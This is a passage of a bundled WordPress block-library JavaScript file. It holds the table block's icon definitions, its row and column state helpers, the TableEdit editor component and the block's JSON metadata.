51028var table_row_before_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21 5c0-1.1-.9-2-2-2H5c-1 0-1.9.8-2 1.8V19.2c.1.9.9 1.7 1.8 1.8H19c1.1 0 2-.9 2-2V5ZM4.5 14V5c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v9h-15Zm4 5.5H5c-.3 0-.5-.2-.5-.5v-3.5h4v4Zm5.5 0h-4v-4h4v4Zm5.5-.5c0 .3-.2.5-.5.5h-3.5v-4h4V19ZM11.2 10h-3V8.5h3v-3h1.5v3h3V10h-3v3h-1.5v-3Z" }) });
51029
51030
51031;// ./node_modules/@wordpress/icons/build-module/library/table-row-after.js
51032
51033
51034var table_row_after_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H4.8c-.9.1-1.7.9-1.8 1.8V19.2c.1 1 1 1.8 2 1.8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm-9 1.5h4v4h-4v-4ZM4.5 5c0-.3.2-.5.5-.5h3.5v4h-4V5Zm15 14c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-9h15v9Zm0-10.5h-4v-4H19c.3 0 .5.2.5.5v3.5Zm-8.3 10h1.5v-3h3V14h-3v-3h-1.5v3h-3v1.5h3v3Z" }) });
51035
51036
51037;// ./node_modules/@wordpress/icons/build-module/library/table-row-delete.js
51038
51039
51040var table_row_delete_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H4.8c-.9.1-1.7.9-1.8 1.8V19.2c.1 1 1 1.8 2 1.8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-9h15v9Zm0-10.5h-15V5c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v3.5Zm-9.6 9.4 2.1-2.1 2.1 2.1 1.1-1.1-2.1-2.1 2.1-2.1-1.1-1.1-2.1 2.1-2.1-2.1-1.1 1.1 2.1 2.1-2.1 2.1 1.1 1.1Z" }) });
51041
51042
51043;// ./node_modules/@wordpress/icons/build-module/library/table-column-before.js
51044
51045
51046var table_column_before_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1 .8 1.9 1.8 2H19.2c.9-.1 1.7-.9 1.8-1.8V5c0-1.1-.9-2-2-2Zm-5 16.5H5c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h9v15Zm5.5-.5c0 .3-.2.5-.5.5h-3.5v-4h4V19Zm0-5h-4v-4h4v4Zm0-5.5h-4v-4H19c.3 0 .5.2.5.5v3.5Zm-11 7.3H10v-3h3v-1.5h-3v-3H8.5v3h-3v1.5h3v3Z" }) });
51047
51048
51049;// ./node_modules/@wordpress/icons/build-module/library/table-column-after.js
51050
51051
51052var table_column_after_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14.2c.1.9.9 1.7 1.8 1.8H19.2c1-.1 1.8-1 1.8-2V5c0-1.1-.9-2-2-2ZM8.5 19.5H5c-.3 0-.5-.2-.5-.5v-3.5h4v4Zm0-5.5h-4v-4h4v4Zm0-5.5h-4V5c0-.3.2-.5.5-.5h3.5v4Zm11 10.5c0 .3-.2.5-.5.5h-9v-15h9c.3 0 .5.2.5.5v14Zm-4-10.8H14v3h-3v1.5h3v3h1.5v-3h3v-1.5h-3v-3Z" }) });
51053
51054
51055;// ./node_modules/@wordpress/icons/build-module/library/table-column-delete.js
51056
51057
51058var table_column_delete_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14.2c.1.9.9 1.7 1.8 1.8H19.2c1-.1 1.8-1 1.8-2V5c0-1.1-.9-2-2-2ZM8.5 19.5H5c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h3.5v15Zm11-.5c0 .3-.2.5-.5.5h-9v-15h9c.3 0 .5.2.5.5v14ZM16.9 8.8l-2.1 2.1-2.1-2.1-1.1 1.1 2.1 2.1-2.1 2.1 1.1 1.1 2.1-2.1 2.1 2.1 1.1-1.1-2.1-2.1L18 9.9l-1.1-1.1Z" }) });
51059
51060
51061;// ./node_modules/@wordpress/icons/build-module/library/table.js
51062
51063
51064var table_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm.5 2v6.2h-6.8V4.4h6.2c.3 0 .5.2.5.5ZM5 4.5h6.2v6.8H4.4V5.1c0-.3.2-.5.5-.5ZM4.5 19v-6.2h6.8v6.8H5.1c-.3 0-.5-.2-.5-.5Zm14.5.5h-6.2v-6.8h6.8v6.2c0 .3-.2.5-.5.5Z" }) });
51065
51066
51067;// ./node_modules/@wordpress/block-library/build-module/table/state.js
51068const INHERITED_COLUMN_ATTRIBUTES = ["align"];
51069function createTable({ rowCount, columnCount }) {
51070 return {
51071 body: Array.from({ length: rowCount }).map(() => ({
51072 cells: Array.from({ length: columnCount }).map(() => ({
51073 content: "",
51074 tag: "td"
51075 }))
51076 }))
51077 };
51078}
51079function getFirstRow(state) {
51080 if (!isEmptyTableSection(state.head)) {
51081 return state.head[0];
51082 }
51083 if (!isEmptyTableSection(state.body)) {
51084 return state.body[0];
51085 }
51086 if (!isEmptyTableSection(state.foot)) {
51087 return state.foot[0];
51088 }
51089}
51090function getCellAttribute(state, cellLocation, attributeName) {
51091 const { sectionName, rowIndex, columnIndex } = cellLocation;
51092 return state[sectionName]?.[rowIndex]?.cells?.[columnIndex]?.[attributeName];
51093}
51094function updateSelectedCell(state, selection, updateCell) {
51095 if (!selection) {
51096 return state;
51097 }
51098 const tableSections = Object.fromEntries(
51099 Object.entries(state).filter(
51100 ([key]) => ["head", "body", "foot"].includes(key)
51101 )
51102 );
51103 const { sectionName: selectionSectionName, rowIndex: selectionRowIndex } = selection;
51104 return Object.fromEntries(
51105 Object.entries(tableSections).map(([sectionName, section]) => {
51106 if (selectionSectionName && selectionSectionName !== sectionName) {
51107 return [sectionName, section];
51108 }
51109 return [
51110 sectionName,
51111 section.map((row, rowIndex) => {
51112 if (selectionRowIndex && selectionRowIndex !== rowIndex) {
51113 return row;
51114 }
51115 return {
51116 cells: row.cells.map(
51117 (cellAttributes, columnIndex) => {
51118 const cellLocation = {
51119 sectionName,
51120 columnIndex,
51121 rowIndex
51122 };
51123 if (!isCellSelected(cellLocation, selection)) {
51124 return cellAttributes;
51125 }
51126 return updateCell(cellAttributes);
51127 }
51128 )
51129 };
51130 })
51131 ];
51132 })
51133 );
51134}
51135function isCellSelected(cellLocation, selection) {
51136 if (!cellLocation || !selection) {
51137 return false;
51138 }
51139 switch (selection.type) {
51140 case "column":
51141 return selection.type === "column" && cellLocation.columnIndex === selection.columnIndex;
51142 case "cell":
51143 return selection.type === "cell" && cellLocation.sectionName === selection.sectionName && cellLocation.columnIndex === selection.columnIndex && cellLocation.rowIndex === selection.rowIndex;
51144 }
51145}
51146function insertRow(state, { sectionName, rowIndex, columnCount }) {
51147 const firstRow = getFirstRow(state);
51148 const cellCount = columnCount === void 0 ? firstRow?.cells?.length : columnCount;
51149 if (!cellCount) {
51150 return state;
51151 }
51152 return {
51153 [sectionName]: [
51154 ...state[sectionName].slice(0, rowIndex),
51155 {
51156 cells: Array.from({ length: cellCount }).map(
51157 (_, index) => {
51158 const firstCellInColumn = firstRow?.cells?.[index] ?? {};
51159 const inheritedAttributes = Object.fromEntries(
51160 Object.entries(firstCellInColumn).filter(
51161 ([key]) => INHERITED_COLUMN_ATTRIBUTES.includes(key)
51162 )
51163 );
51164 return {
51165 ...inheritedAttributes,
51166 content: "",
51167 tag: sectionName === "head" ? "th" : "td"
51168 };
51169 }
51170 )
51171 },
51172 ...state[sectionName].slice(rowIndex)
51173 ]
51174 };
51175}
51176function deleteRow(state, { sectionName, rowIndex }) {
51177 return {
51178 [sectionName]: state[sectionName].filter(
51179 (row, index) => index !== rowIndex
51180 )
51181 };
51182}
51183function insertColumn(state, { columnIndex }) {
51184 const tableSections = Object.fromEntries(
51185 Object.entries(state).filter(
51186 ([key]) => ["head", "body", "foot"].includes(key)
51187 )
51188 );
51189 return Object.fromEntries(
51190 Object.entries(tableSections).map(([sectionName, section]) => {
51191 if (isEmptyTableSection(section)) {
51192 return [sectionName, section];
51193 }
51194 return [
51195 sectionName,
51196 section.map((row) => {
51197 if (isEmptyRow(row) || row.cells.length < columnIndex) {
51198 return row;
51199 }
51200 return {
51201 cells: [
51202 ...row.cells.slice(0, columnIndex),
51203 {
51204 content: "",
51205 tag: sectionName === "head" ? "th" : "td"
51206 },
51207 ...row.cells.slice(columnIndex)
51208 ]
51209 };
51210 })
51211 ];
51212 })
51213 );
51214}
51215function deleteColumn(state, { columnIndex }) {
51216 const tableSections = Object.fromEntries(
51217 Object.entries(state).filter(
51218 ([key]) => ["head", "body", "foot"].includes(key)
51219 )
51220 );
51221 return Object.fromEntries(
51222 Object.entries(tableSections).map(([sectionName, section]) => {
51223 if (isEmptyTableSection(section)) {
51224 return [sectionName, section];
51225 }
51226 return [
51227 sectionName,
51228 section.map((row) => ({
51229 cells: row.cells.length >= columnIndex ? row.cells.filter(
51230 (cell, index) => index !== columnIndex
51231 ) : row.cells
51232 })).filter((row) => row.cells.length)
51233 ];
51234 })
51235 );
51236}
51237function toggleSection(state, sectionName) {
51238 if (!isEmptyTableSection(state[sectionName])) {
51239 return { [sectionName]: [] };
51240 }
51241 const columnCount = state.body?.[0]?.cells?.length ?? 1;
51242 return insertRow(state, { sectionName, rowIndex: 0, columnCount });
51243}
51244function isEmptyTableSection(section) {
51245 return !section || !section.length || section.every(isEmptyRow);
51246}
51247function isEmptyRow(row) {
51248 return !(row.cells && row.cells.length);
51249}
51250
51251
51252;// ./node_modules/@wordpress/block-library/build-module/table/edit.js
51253
51254
51255
51256
51257
51258
51259
51260
51261
51262
51263const ALIGNMENT_CONTROLS = [
51264 {
51265 icon: align_left_default,
51266 title: (0,external_wp_i18n_namespaceObject.__)("Align column left"),
51267 align: "left"
51268 },
51269 {
51270 icon: align_center_default,
51271 title: (0,external_wp_i18n_namespaceObject.__)("Align column center"),
51272 align: "center"
51273 },
51274 {
51275 icon: align_right_default,
51276 title: (0,external_wp_i18n_namespaceObject.__)("Align column right"),
51277 align: "right"
51278 }
51279];
51280const cellAriaLabel = {
51281 head: (0,external_wp_i18n_namespaceObject.__)("Header cell text"),
51282 body: (0,external_wp_i18n_namespaceObject.__)("Body cell text"),
51283 foot: (0,external_wp_i18n_namespaceObject.__)("Footer cell text")
51284};
51285const placeholder = {
51286 head: (0,external_wp_i18n_namespaceObject.__)("Header label"),
51287 foot: (0,external_wp_i18n_namespaceObject.__)("Footer label")
51288};
51289function TSection({ name, ...props }) {
51290 const TagName = `t${name}`;
51291 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...props });
51292}
51293function TableEdit({
51294 attributes,
51295 setAttributes,
51296 insertBlocksAfter,
51297 isSelected: isSingleSelected
51298}) {
51299 const { hasFixedLayout, head, foot } = attributes;
51300 const [initialRowCount, setInitialRowCount] = (0,external_wp_element_namespaceObject.useState)(2);
51301 const [initialColumnCount, setInitialColumnCount] = (0,external_wp_element_namespaceObject.useState)(2);
51302 const [selectedCell, setSelectedCell] = (0,external_wp_element_namespaceObject.useState)();
51303 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseColorProps)(attributes);
51304 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
51305 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
51306 const tableRef = (0,external_wp_element_namespaceObject.useRef)();
51307 const [hasTableCreated, setHasTableCreated] = (0,external_wp_element_namespaceObject.useState)(false);
51308 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
51309 function onChangeInitialColumnCount(count) {
51310 setInitialColumnCount(count);
51311 }
51312 function onChangeInitialRowCount(count) {
51313 setInitialRowCount(count);
51314 }
51315 function onCreateTable(event) {
51316 event.preventDefault();
51317 setAttributes(
51318 createTable({
51319 rowCount: parseInt(initialRowCount, 10) || 2,
51320 columnCount: parseInt(initialColumnCount, 10) || 2
51321 })
51322 );
51323 setHasTableCreated(true);
51324 }
51325 function onChangeFixedLayout() {
51326 setAttributes({ hasFixedLayout: !hasFixedLayout });
51327 }
51328 function onChange(content) {
51329 if (!selectedCell) {
51330 return;
51331 }
51332 setAttributes(
51333 updateSelectedCell(
51334 attributes,
51335 selectedCell,
51336 (cellAttributes) => ({
51337 ...cellAttributes,
51338 content
51339 })
51340 )
51341 );
51342 }
51343 function onChangeColumnAlignment(align) {
51344 if (!selectedCell) {
51345 return;
51346 }
51347 const columnSelection = {
51348 type: "column",
51349 columnIndex: selectedCell.columnIndex
51350 };
51351 const newAttributes = updateSelectedCell(
51352 attributes,
51353 columnSelection,
51354 (cellAttributes) => ({
51355 ...cellAttributes,
51356 align
51357 })
51358 );
51359 setAttributes(newAttributes);
51360 }
51361 function getCellAlignment() {
51362 if (!selectedCell) {
51363 return;
51364 }
51365 return getCellAttribute(attributes, selectedCell, "align");
51366 }
51367 function onToggleHeaderSection() {
51368 setAttributes(toggleSection(attributes, "head"));
51369 }
51370 function onToggleFooterSection() {
51371 setAttributes(toggleSection(attributes, "foot"));
51372 }
51373 function onInsertRow(delta) {
51374 if (!selectedCell) {
51375 return;
51376 }
51377 const { sectionName, rowIndex } = selectedCell;
51378 const newRowIndex = rowIndex + delta;
51379 setAttributes(
51380 insertRow(attributes, {
51381 sectionName,
51382 rowIndex: newRowIndex
51383 })
51384 );
51385 setSelectedCell({
51386 sectionName,
51387 rowIndex: newRowIndex,
51388 columnIndex: 0,
51389 type: "cell"
51390 });
51391 }
51392 function onInsertRowBefore() {
51393 onInsertRow(0);
51394 }
51395 function onInsertRowAfter() {
51396 onInsertRow(1);
51397 }
51398 function onDeleteRow() {
51399 if (!selectedCell) {
51400 return;
51401 }
51402 const { sectionName, rowIndex } = selectedCell;
51403 setSelectedCell();
51404 setAttributes(deleteRow(attributes, { sectionName, rowIndex }));
51405 }
51406 function onInsertColumn(delta = 0) {
51407 if (!selectedCell) {
51408 return;
51409 }
51410 const { columnIndex } = selectedCell;
51411 const newColumnIndex = columnIndex + delta;
51412 setAttributes(
51413 insertColumn(attributes, {
51414 columnIndex: newColumnIndex
51415 })
51416 );
51417 setSelectedCell({
51418 rowIndex: 0,
51419 columnIndex: newColumnIndex,
51420 type: "cell"
51421 });
51422 }
51423 function onInsertColumnBefore() {
51424 onInsertColumn(0);
51425 }
51426 function onInsertColumnAfter() {
51427 onInsertColumn(1);
51428 }
51429 function onDeleteColumn() {
51430 if (!selectedCell) {
51431 return;
51432 }
51433 const { sectionName, columnIndex } = selectedCell;
51434 setSelectedCell();
51435 setAttributes(
51436 deleteColumn(attributes, { sectionName, columnIndex })
51437 );
51438 }
51439 (0,external_wp_element_namespaceObject.useEffect)(() => {
51440 if (!isSingleSelected) {
51441 setSelectedCell();
51442 }
51443 }, [isSingleSelected]);
51444 (0,external_wp_element_namespaceObject.useEffect)(() => {
51445 if (hasTableCreated) {
51446 tableRef?.current?.querySelector('td div[contentEditable="true"]')?.focus();
51447 setHasTableCreated(false);
51448 }
51449 }, [hasTableCreated]);
51450 const sections = ["head", "body", "foot"].filter(
51451 (name) => !isEmptyTableSection(attributes[name])
51452 );
51453 const tableControls = [
51454 {
51455 icon: table_row_before_default,
51456 title: (0,external_wp_i18n_namespaceObject.__)("Insert row before"),
51457 isDisabled: !selectedCell,
51458 onClick: onInsertRowBefore
51459 },
51460 {
51461 icon: table_row_after_default,
51462 title: (0,external_wp_i18n_namespaceObject.__)("Insert row after"),
51463 isDisabled: !selectedCell,
51464 onClick: onInsertRowAfter
51465 },
51466 {
51467 icon: table_row_delete_default,
51468 title: (0,external_wp_i18n_namespaceObject.__)("Delete row"),
51469 isDisabled: !selectedCell,
51470 onClick: onDeleteRow
51471 },
51472 {
51473 icon: table_column_before_default,
51474 title: (0,external_wp_i18n_namespaceObject.__)("Insert column before"),
51475 isDisabled: !selectedCell,
51476 onClick: onInsertColumnBefore
51477 },
51478 {
51479 icon: table_column_after_default,
51480 title: (0,external_wp_i18n_namespaceObject.__)("Insert column after"),
51481 isDisabled: !selectedCell,
51482 onClick: onInsertColumnAfter
51483 },
51484 {
51485 icon: table_column_delete_default,
51486 title: (0,external_wp_i18n_namespaceObject.__)("Delete column"),
51487 isDisabled: !selectedCell,
51488 onClick: onDeleteColumn
51489 }
51490 ];
51491 const renderedSections = sections.map((name) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TSection, { name, children: attributes[name].map(({ cells }, rowIndex) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tr", { children: cells.map(
51492 ({
51493 content,
51494 tag: CellTag,
51495 scope,
51496 align,
51497 colspan,
51498 rowspan
51499 }, columnIndex) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51500 CellTag,
51501 {
51502 scope: CellTag === "th" ? scope : void 0,
51503 colSpan: colspan,
51504 rowSpan: rowspan,
51505 className: dist_clsx(
51506 {
51507 [`has-text-align-${align}`]: align
51508 },
51509 "wp-block-table__cell-content"
51510 ),
51511 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51512 external_wp_blockEditor_namespaceObject.RichText,
51513 {
51514 value: content,
51515 onChange,
51516 onFocus: () => {
51517 setSelectedCell({
51518 sectionName: name,
51519 rowIndex,
51520 columnIndex,
51521 type: "cell"
51522 });
51523 },
51524 "aria-label": cellAriaLabel[name],
51525 placeholder: placeholder[name]
51526 }
51527 )
51528 },
51529 columnIndex
51530 )
51531 ) }, rowIndex)) }, name));
51532 const isEmpty = !sections.length;
51533 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({ ref: tableRef }), children: [
51534 !isEmpty && blockEditingMode === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
51535 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51536 external_wp_blockEditor_namespaceObject.AlignmentControl,
51537 {
51538 label: (0,external_wp_i18n_namespaceObject.__)("Change column alignment"),
51539 alignmentControls: ALIGNMENT_CONTROLS,
51540 value: getCellAlignment(),
51541 onChange: (nextAlign) => onChangeColumnAlignment(nextAlign)
51542 }
51543 ) }),
51544 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51545 external_wp_components_namespaceObject.ToolbarDropdownMenu,
51546 {
51547 icon: table_default,
51548 label: (0,external_wp_i18n_namespaceObject.__)("Edit table"),
51549 controls: tableControls
51550 }
51551 ) })
51552 ] }),
51553 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
51554 external_wp_components_namespaceObject.__experimentalToolsPanel,
51555 {
51556 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
51557 resetAll: () => {
51558 setAttributes({
51559 hasFixedLayout: true,
51560 head: [],
51561 foot: []
51562 });
51563 },
51564 dropdownMenuProps,
51565 children: [
51566 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51567 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
51568 {
51569 hasValue: () => hasFixedLayout !== true,
51570 label: (0,external_wp_i18n_namespaceObject.__)("Fixed width table cells"),
51571 onDeselect: () => setAttributes({ hasFixedLayout: true }),
51572 isShownByDefault: true,
51573 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51574 external_wp_components_namespaceObject.ToggleControl,
51575 {
51576 __nextHasNoMarginBottom: true,
51577 label: (0,external_wp_i18n_namespaceObject.__)("Fixed width table cells"),
51578 checked: !!hasFixedLayout,
51579 onChange: onChangeFixedLayout
51580 }
51581 )
51582 }
51583 ),
51584 !isEmpty && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
51585 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51586 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
51587 {
51588 hasValue: () => head && head.length,
51589 label: (0,external_wp_i18n_namespaceObject.__)("Header section"),
51590 onDeselect: () => setAttributes({ head: [] }),
51591 isShownByDefault: true,
51592 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51593 external_wp_components_namespaceObject.ToggleControl,
51594 {
51595 __nextHasNoMarginBottom: true,
51596 label: (0,external_wp_i18n_namespaceObject.__)("Header section"),
51597 checked: !!(head && head.length),
51598 onChange: onToggleHeaderSection
51599 }
51600 )
51601 }
51602 ),
51603 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51604 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
51605 {
51606 hasValue: () => foot && foot.length,
51607 label: (0,external_wp_i18n_namespaceObject.__)("Footer section"),
51608 onDeselect: () => setAttributes({ foot: [] }),
51609 isShownByDefault: true,
51610 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51611 external_wp_components_namespaceObject.ToggleControl,
51612 {
51613 __nextHasNoMarginBottom: true,
51614 label: (0,external_wp_i18n_namespaceObject.__)("Footer section"),
51615 checked: !!(foot && foot.length),
51616 onChange: onToggleFooterSection
51617 }
51618 )
51619 }
51620 )
51621 ] })
51622 ]
51623 }
51624 ) }),
51625 !isEmpty && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51626 "table",
51627 {
51628 className: dist_clsx(
51629 colorProps.className,
51630 borderProps.className,
51631 {
51632 "has-fixed-layout": hasFixedLayout,
51633 // This is required in the editor only to overcome
51634 // the fact the editor rewrites individual border
51635 // widths into a shorthand format.
51636 "has-individual-borders": (0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(
51637 attributes?.style?.border
51638 )
51639 }
51640 ),
51641 style: { ...colorProps.style, ...borderProps.style },
51642 children: renderedSections
51643 }
51644 ),
51645 isEmpty ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51646 external_wp_components_namespaceObject.Placeholder,
51647 {
51648 label: (0,external_wp_i18n_namespaceObject.__)("Table"),
51649 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: block_table_default, showColors: true }),
51650 instructions: (0,external_wp_i18n_namespaceObject.__)("Insert a table for sharing data."),
51651 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
51652 "form",
51653 {
51654 className: "blocks-table__placeholder-form",
51655 onSubmit: onCreateTable,
51656 children: [
51657 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51658 external_wp_components_namespaceObject.TextControl,
51659 {
51660 __nextHasNoMarginBottom: true,
51661 __next40pxDefaultSize: true,
51662 type: "number",
51663 label: (0,external_wp_i18n_namespaceObject.__)("Column count"),
51664 value: initialColumnCount,
51665 onChange: onChangeInitialColumnCount,
51666 min: "1",
51667 className: "blocks-table__placeholder-input"
51668 }
51669 ),
51670 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51671 external_wp_components_namespaceObject.TextControl,
51672 {
51673 __nextHasNoMarginBottom: true,
51674 __next40pxDefaultSize: true,
51675 type: "number",
51676 label: (0,external_wp_i18n_namespaceObject.__)("Row count"),
51677 value: initialRowCount,
51678 onChange: onChangeInitialRowCount,
51679 min: "1",
51680 className: "blocks-table__placeholder-input"
51681 }
51682 ),
51683 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51684 external_wp_components_namespaceObject.Button,
51685 {
51686 __next40pxDefaultSize: true,
51687 variant: "primary",
51688 type: "submit",
51689 children: (0,external_wp_i18n_namespaceObject.__)("Create Table")
51690 }
51691 )
51692 ]
51693 }
51694 )
51695 }
51696 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51697 Caption,
51698 {
51699 attributes,
51700 setAttributes,
51701 isSelected: isSingleSelected,
51702 insertBlocksAfter,
51703 label: (0,external_wp_i18n_namespaceObject.__)("Table caption text"),
51704 showToolbarButton: isSingleSelected && blockEditingMode === "default"
51705 }
51706 )
51707 ] });
51708}
51709var table_edit_edit_default = TableEdit;
51710
51711
51712;// ./node_modules/@wordpress/block-library/build-module/table/block.json
51713const table_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/table","title":"Table","category":"text","description":"Create structured content in rows and columns to display information.","textdomain":"default","attributes":{"hasFixedLayout":{"type":"boolean","default":true},"caption":{"type":"rich-text","source":"rich-text","selector":"figcaption","role":"content"},"head":{"type":"array","default":[],"source":"query","selector":"thead tr","query":{"cells":{"type":"array","default":[],"source":"query","selector":"td,th","query":{"content":{"type":"rich-text","source":"rich-text","role":"content"},"tag":{"type":"string","default":"td","source":"tag"},"scope":{"type":"string","source":"attribute","attribute":"scope"},"align":{"type":"string","source":"attribute","attribute":"data-align"},"colspan":{"type":"string","source":"attribute","attribute":"colspan"},"rowspan":{"type":"string","source":"attribute","attribute":"rowspan"}}}}},"body":{"type":"array","default":[],"source":"query","selector":"tbody tr","query":{"cells":{"type":"array","default":[],"source":"query","selector":"td,th","query":{"content":{"type":"rich-text","source":"rich-text","role":"content"},"tag":{"type":"string","default":"td","source":"tag"},"scope":{"type":"string","source":"attribute","attribute":"scope"},"align":{"type":"string","source":"attribute","attribute":"data-align"},"colspan":{"type":"string","source":"attribute","attribute":"colspan"},"rowspan":{"type":"string","source":"attribute","attribute":"rowspan"}}}}},"foot":{"type":"array","default":[],"source":"query","selector":"tfoot tr","query":{"cells":{"type":"array","default":[],"source":"query","selector":"td,th","query":{"content":{"type":"rich-text","source":"rich-text","role":"content"},"tag":{"type":"string","default":"td","source":"tag"},"scope":{"type":"string","source":"attribute","attribute":"scope"},"align":{"type":"string","source":"attribute","attribute":"data-align"},"colspan":{"type":"string","source":"attribute","attribute":"colspan"},"rowspan":{"type":"string","source":"attribute","attribute":"rowspan"}}}}}},"supports":{"anchor":true,"align":true,"color":{"__experimentalSkipSerialization":true,"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"__experimentalSkipSerialization":true,"color":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"style":true,"width":true}},"interactivity":{"clientNavigation":true}},"selectors":{"root":".wp-block-table > table","spacing":".wp-block-table"},"styles":[{"name":"regular","label":"Default","isDefault":true},{"name":"stripes","label":"Stripes"}],"editorStyle":"wp-block-table-editor","style":"wp-block-table"}');
51714;// ./node_modules/@wordpress/block-library/build-module/table/save.js
51715
51716
51717
